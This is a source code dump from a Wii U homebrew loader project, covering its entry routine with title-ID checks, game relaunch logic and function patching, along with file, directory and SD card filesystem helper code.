u8 gCursorInitDone __attribute__((section(".data"))) = 0;
u8 gPatchSDKDone __attribute__((section(".data"))) = 0;
u8 gHIDPADEnabled __attribute__((section(".data"))) = 0;
u8 gHIDPADRumble __attribute__((section(".data"))) = 0;
u8 gHIDPADNetwork __attribute__((section(".data"))) = 0;
u8 gEnableDLC __attribute__((section(".data"))) = 0;
u32 gLoaderPhysicalBufferAddr __attribute__((section(".data"))) = 0;
u32 gLogUDP __attribute__((section(".data"))) = 0;
char gServerIP[16] __attribute__((section(".data")));
================================================
FILE: src/common/retain_vars.h
================================================
#ifndef RETAINS_VARS_H_
#define RETAINS_VARS_H_
#include
extern u8 gSettingLaunchPyGecko;
extern u8 gSettingUseUpdatepath;
extern u8 gSettingPadconMode;
extern u8 gCursorInitDone;
extern u8 gPatchSDKDone;
extern u8 gHIDPADEnabled;
extern u8 gHIDPADRumble;
extern u8 gHIDPADNetwork;
extern u8 gEnableDLC;
extern u32 gLoaderPhysicalBufferAddr;
extern char gServerIP[16];
#endif // RETAINS_VARS_H_
================================================
FILE: src/common/types.h
================================================
#ifndef TYPES_H
#define TYPES_H
#include
#endif /* TYPES_H */
================================================
FILE: src/entry.cpp
================================================
#include
#include "dynamic_libs/os_functions.h"
#include "dynamic_libs/sys_functions.h"
#include "dynamic_libs/socket_functions.h"
#include "dynamic_libs/aoc_functions.h"
#include "dynamic_libs/gx2_functions.h"
#include "dynamic_libs/syshid_functions.h"
#include "fs/sd_fat_devoptab.h"
#include "utils/function_patcher.h"
#include "controller_patcher/ControllerPatcher.hpp"
#include "patcher/cpp_to_c_util.h"
#include "patcher/pygecko.h"
#include "common/common.h"
#include "common/retain_vars.h"
#include "utils/utils.h"
#include "utils/logger.h"
#include "video/CursorDrawer.h"
#include "main.h"
extern "C" int __entry_menu(int argc, char **argv)
{
//! Launch PyGecko if requested
if (GAME_LAUNCHED && gSettingLaunchPyGecko)
{
start_pygecko();
}
InitOSFunctionPointers();
InitSocketFunctionPointers();
InitAocFunctionPointers();
InitACPFunctionPointers();
InitFSFunctionPointers();
log_init();
//!*******************************************************************
//! Initialize HID Config *
//!*******************************************************************
mount_sd_fat("sd");
ControllerPatcher::Init(CONTROLLER_PATCHER_PATH);
unmount_sd_fat("sd");
ControllerPatcher::disableControllerMapping();
if(gHIDPADNetwork){ ControllerPatcher::startNetworkServer(); }
ControllerPatcher::setRumbleActivated(gHIDPADRumble);
//!*******************************************************************
//! Dynamic Patching *
//!*******************************************************************
if(GAME_LAUNCHED){
ApplyPatches();
}
//! *******************************************************************
//! * Check if our application is started *
//! *******************************************************************
if (OSGetTitleID != 0 &&
OSGetTitleID() != 0x000500101004A200 && // mii maker eur
OSGetTitleID() != 0x000500101004A100 && // mii maker usa
OSGetTitleID() != 0x000500101004A000 && // mii maker jpn
OSGetTitleID() != 0x0005000013374842) // hbl channel
{
return EXIT_RELAUNCH_ON_LOAD;
}
//!*******************************************************************
//! Check game launch *
//!*******************************************************************
// check if game is launched, if yes continue coreinit process
if ((GAME_LAUNCHED == 1) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER))
return EXIT_RELAUNCH_ON_LOAD;
//! *******************************************************************
//! * Setup EABI registers *
//! *******************************************************************
register int old_sdata_start, old_sdata2_start;
asm volatile(
"mr %0, 13\n"
"mr %1, 2\n"
"lis 2, __sdata2_start@h\n"
"ori 2, 2,__sdata2_start@l\n" // Set the Small Data 2 (Read Only) base register.
"lis 13, __sdata_start@h\n"
"ori 13, 13, __sdata_start@l\n"// # Set the Small Data (Read\Write) base register.
: "=r" (old_sdata_start), "=r" (old_sdata2_start)
);
//!*******************************************************************
//! Initialize BSS sections *
//!*******************************************************************
asm volatile(
"lis 3, __bss_start@h\n"
"ori 3, 3,__bss_start@l\n"
"lis 5, __bss_end@h\n"
"ori 5, 5, __bss_end@l\n"
"subf 5, 3, 5\n"
"li 4, 0\n"
"bl memset\n"
);
//! *******************************************************************
//! * Call our Main *
//! *******************************************************************
Menu_Main();
//! *******************************************************************
//! * Restore EABI registers *
//! *******************************************************************
asm volatile("mr 13, %0" : : "r" (old_sdata_start));
asm volatile("mr 2, %0" : : "r" (old_sdata2_start));
if(GAME_LAUNCHED)
{
if (LOADIINE_MODE == LOADIINE_MODE_SMASH_BROS)
{
if(SYSCheckTitleExists(0x0005000010145000)) { // EUR
SYSLaunchTitle(0x0005000010145000);
}
else if(SYSCheckTitleExists(0x0005000010144F00)) { // USA
SYSLaunchTitle(0x0005000010144F00);
}
else if(SYSCheckTitleExists(0x0005000010110E00)) { // JAP
SYSLaunchTitle(0x0005000010110E00);
}
else {
// Launch smash bros disk without exiting to menu
char buf_vol_odd[20];
strcpy(buf_vol_odd, "/vol/storage_odd03");
_SYSLaunchTitleByPathFromLauncher(buf_vol_odd, 18, 0);
}
}
else if(LOADIINE_MODE == LOADIINE_MODE_MII_MAKER)
{
// Restart mii maker
SYSRelaunchTitle(0, 0);
__Exit();
}
//! TODO: add auto launch with SYSLaunchTitle for Karaoke and Art Atelier Modes
//! *******************************************************************
//! * Jump to original application *
//! *******************************************************************
return EXIT_RELAUNCH_ON_LOAD;
}
RestoreAllInstructions();
CursorDrawer::destroyInstance();
ControllerPatcher::DeInit();
ControllerPatcher::stopNetworkServer();
//! *******************************************************************
//! * Jump to homebrew launcher *
//! *******************************************************************
return EXIT_SUCCESS;
}
================================================
FILE: src/fs/CFile.cpp
================================================
#include
#include
#include "CFile.hpp"
CFile::CFile()
{
iFd = -1;
mem_file = NULL;
filesize = 0;
pos = 0;
}
CFile::CFile(const std::string & filepath, eOpenTypes mode)
{
iFd = -1;
this->open(filepath, mode);
}
CFile::CFile(const u8 * mem, int size)
{
iFd = -1;
this->open(mem, size);
}
CFile::~CFile()
{
this->close();
}
int CFile::open(const std::string & filepath, eOpenTypes mode)
{
this->close();
s32 openMode = 0;
switch(mode)
{
default:
case ReadOnly:
openMode = O_RDONLY;
break;
case WriteOnly:
openMode = O_WRONLY;
break;
case ReadWrite:
openMode = O_RDWR;
break;
case Append:
openMode = O_APPEND | O_WRONLY;
break;
}
//! Using fopen works only on the first launch as expected
//! on the second launch it causes issues because we don't overwrite
//! the .data sections which is needed for a normal application to re-init
//! this will be added with launching as RPX
iFd = ::open(filepath.c_str(), openMode);
if(iFd < 0)
return iFd;
filesize = ::lseek(iFd, 0, SEEK_END);
::lseek(iFd, 0, SEEK_SET);
return 0;
}
int CFile::open(const u8 * mem, int size)
{
this->close();
mem_file = mem;
filesize = size;
return 0;
}
void CFile::close()
{
if(iFd >= 0)
::close(iFd);
iFd = -1;
mem_file = NULL;
filesize = 0;
pos = 0;
}
int CFile::read(u8 * ptr, size_t size)
{
if(iFd >= 0)
{
int ret = ::read(iFd, ptr,size);
if(ret > 0)
pos += ret;
return ret;
}
int readsize = size;
if(readsize > (s64) (filesize-pos))
readsize = filesize-pos;
if(readsize <= 0)
return readsize;
if(mem_file != NULL)
{
memcpy(ptr, mem_file+pos, readsize);
pos += readsize;
return readsize;
}
return -1;
}
int CFile::write(const u8 * ptr, size_t size)
{
if(iFd >= 0)
{
size_t done = 0;
while(done < size)
{
int ret = ::write(iFd, ptr, size - done);
if(ret <= 0)
return ret;
ptr += ret;
done += ret;
pos += ret;
}
return done;
}
return -1;
}
int CFile::seek(long int offset, int origin)
{
int ret = 0;
s64 newPos = pos;
if(origin == SEEK_SET)
{
newPos = offset;
}
else if(origin == SEEK_CUR)
{
newPos += offset;
}
else if(origin == SEEK_END)
{
newPos = filesize+offset;
}
if(newPos < 0)
{
pos = 0;
}
else {
pos = newPos;
}
if(iFd >= 0)
ret = ::lseek(iFd, pos, SEEK_SET);
if(mem_file != NULL)
{
if(pos > filesize)
{
pos = filesize;
}
}
return ret;
}
int CFile::fwrite(const char *format, ...)
{
int result = -1;
char * tmp = NULL;
va_list va;
va_start(va, format);
if((vasprintf(&tmp, format, va) >= 0) && tmp)
{
result = this->write((u8 *)tmp, strlen(tmp));
}
va_end(va);
if(tmp)
free(tmp);
return result;
}
================================================
FILE: src/fs/CFile.hpp
================================================
#ifndef CFILE_HPP_
#define CFILE_HPP_
#include
#include
#include
#include
#include
#include
class CFile
{
public:
enum eOpenTypes
{
ReadOnly,
WriteOnly,
ReadWrite,
Append
};
CFile();
CFile(const std::string & filepath, eOpenTypes mode);
CFile(const u8 * memory, int memsize);
virtual ~CFile();
int open(const std::string & filepath, eOpenTypes mode);
int open(const u8 * memory, int memsize);
bool isOpen() const {
if(iFd >= 0)
return true;
if(mem_file)
return true;
return false;
}
void close();
int read(u8 * ptr, size_t size);
int write(const u8 * ptr, size_t size);
int fwrite(const char *format, ...);
int seek(long int offset, int origin);
u64 tell() { return pos; };
u64 size() { return filesize; };
void rewind() { this->seek(0, SEEK_SET); };
protected:
int iFd;
const u8 * mem_file;
u64 filesize;
u64 pos;
};
#endif
================================================
FILE: src/fs/DirList.cpp
================================================
/****************************************************************************
* Copyright (C) 2010
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
* DirList Class
* for WiiXplorer 2010
***************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include "DirList.h"
#include "utils/StringTools.h"
DirList::DirList()
{
Flags = 0;
Filter = 0;
}
DirList::DirList(const std::string & path, const char *filter, u32 flags)
{
this->LoadPath(path, filter, flags);
this->SortList();
}
DirList::~DirList()
{
ClearList();
}
bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags)
{
if(folder.empty()) return false;
Flags = flags;
Filter = filter;
std::string folderpath(folder);
u32 length = folderpath.size();
//! clear path of double slashes
RemoveDoubleSlashs(folderpath);
//! remove last slash if exists
if(length > 0 && folderpath[length-1] == '/')
folderpath.erase(length-1);
return InternalLoadPath(folderpath);
}
bool DirList::InternalLoadPath(std::string &folderpath)
{
if(folderpath.size() < 3)
return false;
struct dirent *dirent = NULL;
DIR *dir = NULL;
dir = opendir(folderpath.c_str());
if (dir == NULL)
return false;
while ((dirent = readdir(dir)) != 0)
{
bool isDir = dirent->d_type & DT_DIR;
const char *filename = dirent->d_name;
if(isDir)
{
if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
continue;
if(Flags & CheckSubfolders)
{
int length = folderpath.size();
if(length > 2 && folderpath[length-1] != '/')
folderpath += '/';
folderpath += filename;
InternalLoadPath(folderpath);
folderpath.erase(length);
}
if(!(Flags & Dirs))
continue;
}
else if(!(Flags & Files))
{
continue;
}
if(Filter)
{
char * fileext = strrchr(filename, '.');
if(!fileext)
continue;
if(strtokcmp(fileext, Filter, ",") == 0)
AddEntrie(folderpath, filename, isDir);
}
else
{
AddEntrie(folderpath, filename, isDir);
}
}
closedir(dir);
return true;
}
void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir)
{
if(!filename)
return;
// Don't list hidden OS X files
if(filename[0] == '.' && filename[1] == '_')
return;
int pos = FileInfo.size();
FileInfo.resize(pos+1);
FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
if(!FileInfo[pos].FilePath)
{
FileInfo.resize(pos);
return;
}
sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename);
FileInfo[pos].isDir = isDir;
}
void DirList::ClearList()
{
for(u32 i = 0; i < FileInfo.size(); ++i)
{
if(FileInfo[i].FilePath)
free(FileInfo[i].FilePath);
}
FileInfo.clear();
std::vector().swap(FileInfo);
}
const char * DirList::GetFilename(int ind) const
{
if (!valid(ind))
return "";
return FullpathToFilename(FileInfo[ind].FilePath);
}
static bool SortCallback(const DirEntry & f1, const DirEntry & f2)
{
if(f1.isDir && !(f2.isDir)) return true;
if(!(f1.isDir) && f2.isDir) return false;
if(f1.FilePath && !f2.FilePath) return true;
if(!f1.FilePath) return false;
if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
return false;
return true;
}
void DirList::SortList()
{
if(FileInfo.size() > 1)
std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
}
void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b))
{
if(FileInfo.size() > 1)
std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
}
u64 DirList::GetFilesize(int index) const
{
struct stat st;
const char *path = GetFilepath(index);
if(!path || stat(path, &st) != 0)
return 0;
return st.st_size;
}
int DirList::GetFileIndex(const char *filename) const
{
if(!filename)
return -1;
for (u32 i = 0; i < FileInfo.size(); ++i)
{
if (strcasecmp(GetFilename(i), filename) == 0)
return i;
}
return -1;
}
================================================
FILE: src/fs/DirList.h
================================================
/****************************************************************************
* Copyright (C) 2010
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
* DirList Class
* for WiiXplorer 2010
***************************************************************************/
#ifndef ___DIRLIST_H_
#define ___DIRLIST_H_
#include
#include
#include
typedef struct
{
char * FilePath;
bool isDir;
} DirEntry;
class DirList
{
public:
//!Constructor
DirList(void);
//!\param path Path from where to load the filelist of all files
//!\param filter A fileext that needs to be filtered
//!\param flags search/filter flags from the enum
DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);
//!Destructor
virtual ~DirList();
//! Load all the files from a directory
bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);
//! Get a filename of the list
//!\param list index
const char * GetFilename(int index) const;
//! Get the a filepath of the list
//!\param list index
const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; }
//! Get the a filesize of the list
//!\param list index
u64 GetFilesize(int index) const;
//! Is index a dir or a file
//!\param list index
bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; };
//! Get the filecount of the whole list
int GetFilecount() const { return FileInfo.size(); };
//! Sort list by filepath
void SortList();
//! Custom sort command for custom sort functions definitions
void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b));
//! Get the index of the specified filename
int GetFileIndex(const char *filename) const;
//! Enum for search/filter flags
enum
{
Files = 0x01,
Dirs = 0x02,
CheckSubfolders = 0x08,
};
protected:
// Internal parser
bool InternalLoadPath(std::string &path);
//!Add a list entrie
void AddEntrie(const std::string &filepath, const char * filename, bool isDir);
//! Clear the list
void ClearList();
//! Check if valid pos is requested
inline bool valid(u32 pos) const { return (pos < FileInfo.size()); };
u32 Flags;
const char *Filter;
std::vector FileInfo;
};
#endif
================================================
FILE: src/fs/fs_utils.c
================================================
#include
#include
#include
#include
#include
#include "dynamic_libs/fs_functions.h"
int MountFS(void *pClient, void *pCmd, char **mount_path)
{
int result = -1;
void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE);
if(!mountSrc)
return -3;
char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE);
if(!mountPath) {
free(mountSrc);
return -4;
}
memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE);
memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE);
// Mount sdcard
if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0)
{
result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
if((result == 0) && mount_path) {
*mount_path = (char*)malloc(strlen(mountPath) + 1);
if(*mount_path)
strcpy(*mount_path, mountPath);
}
}
free(mountPath);
free(mountSrc);
return result;
}
int UmountFS(void *pClient, void *pCmd, const char *mountPath)
{
int result = -1;
result = FSUnmount(pClient, pCmd, mountPath, -1);
return result;
}
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)
{
//! always initialze input
*inbuffer = NULL;
if(size)
*size = 0;
int iFd = open(filepath, O_RDONLY);
if (iFd < 0)
return -1;
u32 filesize = lseek(iFd, 0, SEEK_END);
lseek(iFd, 0, SEEK_SET);
u8 *buffer = (u8 *) malloc(filesize);
if (buffer == NULL)
{
close(iFd);
return -2;
}
u32 blocksize = 0x4000;
u32 done = 0;
int readBytes = 0;
while(done < filesize)
{
if(done + blocksize > filesize) {
blocksize = filesize - done;
}
readBytes = read(iFd, buffer + done, blocksize);
if(readBytes <= 0)
break;
done += readBytes;
}
close(iFd);
if (done != filesize)
{
free(buffer);
return -3;
}
*inbuffer = buffer;
//! sign is optional input
if(size)
*size = filesize;
return filesize;
}
int CheckFile(const char * filepath)
{
if(!filepath)
return 0;
struct stat filestat;
char dirnoslash[strlen(filepath)+2];
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
while(dirnoslash[strlen(dirnoslash)-1] == '/')
dirnoslash[strlen(dirnoslash)-1] = '\0';
char * notRoot = strrchr(dirnoslash, '/');
if(!notRoot)
{
strcat(dirnoslash, "/");
}
if (stat(dirnoslash, &filestat) == 0)
return 1;
return 0;
}
int CreateSubfolder(const char * fullpath)
{
if(!fullpath)
return 0;
int result = 0;
char dirnoslash[strlen(fullpath)+1];
strcpy(dirnoslash, fullpath);
int pos = strlen(dirnoslash)-1;
while(dirnoslash[pos] == '/')
{
dirnoslash[pos] = '\0';
pos--;
}
if(CheckFile(dirnoslash))
{
return 1;
}
else
{
char parentpath[strlen(dirnoslash)+2];
strcpy(parentpath, dirnoslash);
char * ptr = strrchr(parentpath, '/');
if(!ptr)
{
//!Device root directory (must be with '/')
strcat(parentpath, "/");
struct stat filestat;
if (stat(parentpath, &filestat) == 0)
return 1;
return 0;
}
ptr++;
ptr[0] = '\0';
result = CreateSubfolder(parentpath);
}
if(!result)
return 0;
if (mkdir(dirnoslash, 0777) == -1)
{
return 0;
}
return 1;
}
================================================
FILE: src/fs/fs_utils.h
================================================
#ifndef __FS_UTILS_H_
#define __FS_UTILS_H_
#ifdef __cplusplus
extern "C" {
#endif
#include
int MountFS(void *pClient, void *pCmd, char **mount_path);
int UmountFS(void *pClient, void *pCmd, const char *mountPath);
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size);
//! todo: C++ class
int CreateSubfolder(const char * fullpath);
int CheckFile(const char * filepath);
#ifdef __cplusplus
}
#endif
#endif // __FS_UTILS_H_
================================================
FILE: src/fs/sd_fat_devoptab.c
================================================
/***************************************************************************
* Copyright (C) 2015
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include "dynamic_libs/fs_functions.h"
#include "dynamic_libs/os_functions.h"
#include "fs_utils.h"
#include "utils/logger.h"
#define FS_ALIGNMENT 0x40
#define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1))
typedef struct _sd_fat_private_t {
char *mount_path;
void *pClient;
void *pCmd;
void *pMutex;
} sd_fat_private_t;
typedef struct _sd_fat_file_state_t {
sd_fat_private_t *dev;
int fd; /* File descriptor */
int flags; /* Opening flags */
bool read; /* True if allowed to read from file */
bool write; /* True if allowed to write to file */
bool append; /* True if allowed to append to file */
u64 pos; /* Current position within the file (in bytes) */
u64 len; /* Total length of the file (in bytes) */
struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */
struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */
} sd_fat_file_state_t;
typedef struct _sd_fat_dir_entry_t {
sd_fat_private_t *dev;
int dirHandle;
} sd_fat_dir_entry_t;
static sd_fat_private_t *sd_fat_get_device_data(const char *path)
{
const devoptab_t *devoptab = NULL;
char name[128] = {0};
int i;
// Get the device name from the path
strncpy(name, path, 127);
strtok(name, ":/");
// Search the devoptab table for the specified device name
// NOTE: We do this manually due to a 'bug' in GetDeviceOpTab
// which ignores names with suffixes and causes names
// like "ntfs" and "ntfs1" to be seen as equals
for (i = 3; i < STD_MAX; i++) {
devoptab = devoptab_list[i];
if (devoptab && devoptab->name) {
if (strcmp(name, devoptab->name) == 0) {
return (sd_fat_private_t *)devoptab->deviceData;
}
}
}
return NULL;
}
static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev)
{
// Sanity check
if (!path)
return NULL;
// Move the path pointer to the start of the actual path
if (strchr(path, ':') != NULL) {
path = strchr(path, ':') + 1;
}
int mount_len = strlen(dev->mount_path);
char *new_name = (char*)malloc(mount_len + strlen(path) + 1);
if(new_name) {
strcpy(new_name, dev->mount_path);
strcpy(new_name + mount_len, path);
return new_name;
}
return new_name;
}
static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode)
{
sd_fat_private_t *dev = sd_fat_get_device_data(path);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct;
file->dev = dev;
// Determine which mode the file is opened for
file->flags = flags;
const char *mode_str;
if ((flags & 0x03) == O_RDONLY) {
file->read = true;
file->write = false;
file->append = false;
mode_str = "r";
} else if ((flags & 0x03) == O_WRONLY) {
file->read = false;
file->write = true;
file->append = (flags & O_APPEND);
mode_str = file->append ? "a" : "w";
} else if ((flags & 0x03) == O_RDWR) {
file->read = true;
file->write = true;
file->append = (flags & O_APPEND);
mode_str = file->append ? "a+" : "r+";
} else {
r->_errno = EACCES;
return -1;
}
s32 fd = -1;
OSLockMutex(dev->pMutex);
char *real_path = sd_fat_real_path(path, dev);
if(!path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1);
free(real_path);
if(result == 0)
{
FSStat stats;
result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1);
if(result != 0) {
FSCloseFile(dev->pClient, dev->pCmd, fd, -1);
r->_errno = result;
OSUnlockMutex(dev->pMutex);
return -1;
}
file->fd = fd;
file->pos = 0;
file->len = stats.size;
OSUnlockMutex(dev->pMutex);
return (int)file;
}
r->_errno = result;
OSUnlockMutex(dev->pMutex);
return -1;
}
static int sd_fat_close_r (struct _reent *r, void *fd)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(file->dev->pMutex);
int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);
OSUnlockMutex(file->dev->pMutex);
if(result < 0)
{
r->_errno = result;
return -1;
}
return 0;
}
static off_t sd_fat_seek_r (struct _reent *r, void* fd, off_t pos, int dir)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return 0;
}
OSLockMutex(file->dev->pMutex);
switch(dir)
{
case SEEK_SET:
file->pos = pos;
break;
case SEEK_CUR:
file->pos += pos;
break;
case SEEK_END:
file->pos = file->len + pos;
break;
default:
r->_errno = EINVAL;
return -1;
}
int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1);
OSUnlockMutex(file->dev->pMutex);
if(result == 0)
{
return file->pos;
}
return result;
}
static ssize_t sd_fat_write_r (struct _reent *r, void *fd, const char *ptr, size_t len)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return 0;
}
if(!file->write)
{
r->_errno = EACCES;
return 0;
}
OSLockMutex(file->dev->pMutex);
size_t len_aligned = FS_ALIGN(len);
if(len_aligned > 0x4000)
len_aligned = 0x4000;
unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned);
if(!tmpBuf) {
r->_errno = ENOMEM;
OSUnlockMutex(file->dev->pMutex);
return 0;
}
size_t done = 0;
while(done < len)
{
size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done);
memcpy(tmpBuf, ptr + done, write_size);
int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1);
if(result < 0)
{
r->_errno = result;
break;
}
else if(result == 0)
{
if(write_size > 0)
done = 0;
break;
}
else
{
done += result;
file->pos += result;
}
}
free(tmpBuf);
OSUnlockMutex(file->dev->pMutex);
return done;
}
static ssize_t sd_fat_read_r (struct _reent *r, void* fd, char *ptr, size_t len)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return 0;
}
if(!file->read)
{
r->_errno = EACCES;
return 0;
}
OSLockMutex(file->dev->pMutex);
size_t len_aligned = FS_ALIGN(len);
if(len_aligned > 0x4000)
len_aligned = 0x4000;
unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned);
if(!tmpBuf) {
r->_errno = ENOMEM;
OSUnlockMutex(file->dev->pMutex);
return 0;
}
size_t done = 0;
while(done < len)
{
size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done);
int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1);
if(result < 0)
{
r->_errno = result;
done = 0;
break;
}
else if(result == 0)
{
//! TODO: error on read_size > 0
break;
}
else
{
memcpy(ptr + done, tmpBuf, read_size);
done += result;
file->pos += result;
}
}
free(tmpBuf);
OSUnlockMutex(file->dev->pMutex);
return done;
}
static int sd_fat_fstat_r (struct _reent *r, void* fd, struct stat *st)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(file->dev->pMutex);
// Zero out the stat buffer
memset(st, 0, sizeof(struct stat));
FSStat stats;
int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1);
if(result != 0) {
r->_errno = result;
OSUnlockMutex(file->dev->pMutex);
return -1;
}
st->st_mode = S_IFREG;
st->st_size = stats.size;
st->st_blocks = (stats.size + 511) >> 9;
st->st_nlink = 1;
// Fill in the generic entry stats
st->st_dev = stats.ent_id;
st->st_uid = stats.owner_id;
st->st_gid = stats.group_id;
st->st_ino = stats.ent_id;
st->st_atime = stats.mtime;
st->st_ctime = stats.ctime;
st->st_mtime = stats.mtime;
OSUnlockMutex(file->dev->pMutex);
return 0;
}
static int sd_fat_ftruncate_r (struct _reent *r, void* fd, off_t len)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(file->dev->pMutex);
int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);
OSUnlockMutex(file->dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_fsync_r (struct _reent *r, void* fd)
{
sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;
if(!file->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(file->dev->pMutex);
int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);
OSUnlockMutex(file->dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st)
{
sd_fat_private_t *dev = sd_fat_get_device_data(path);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
// Zero out the stat buffer
memset(st, 0, sizeof(struct stat));
char *real_path = sd_fat_real_path(path, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
FSStat stats;
int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1);
free(real_path);
if(result < 0) {
r->_errno = result;
OSUnlockMutex(dev->pMutex);
return -1;
}
// mark root also as directory
st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG;
st->st_nlink = 1;
st->st_size = stats.size;
st->st_blocks = (stats.size + 511) >> 9;
// Fill in the generic entry stats
st->st_dev = stats.ent_id;
st->st_uid = stats.owner_id;
st->st_gid = stats.group_id;
st->st_ino = stats.ent_id;
st->st_atime = stats.mtime;
st->st_ctime = stats.ctime;
st->st_mtime = stats.mtime;
OSUnlockMutex(dev->pMutex);
return 0;
}
static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink)
{
r->_errno = ENOTSUP;
return -1;
}
static int sd_fat_unlink_r (struct _reent *r, const char *name)
{
sd_fat_private_t *dev = sd_fat_get_device_data(name);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
char *real_path = sd_fat_real_path(name, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1);
free(real_path);
OSUnlockMutex(dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
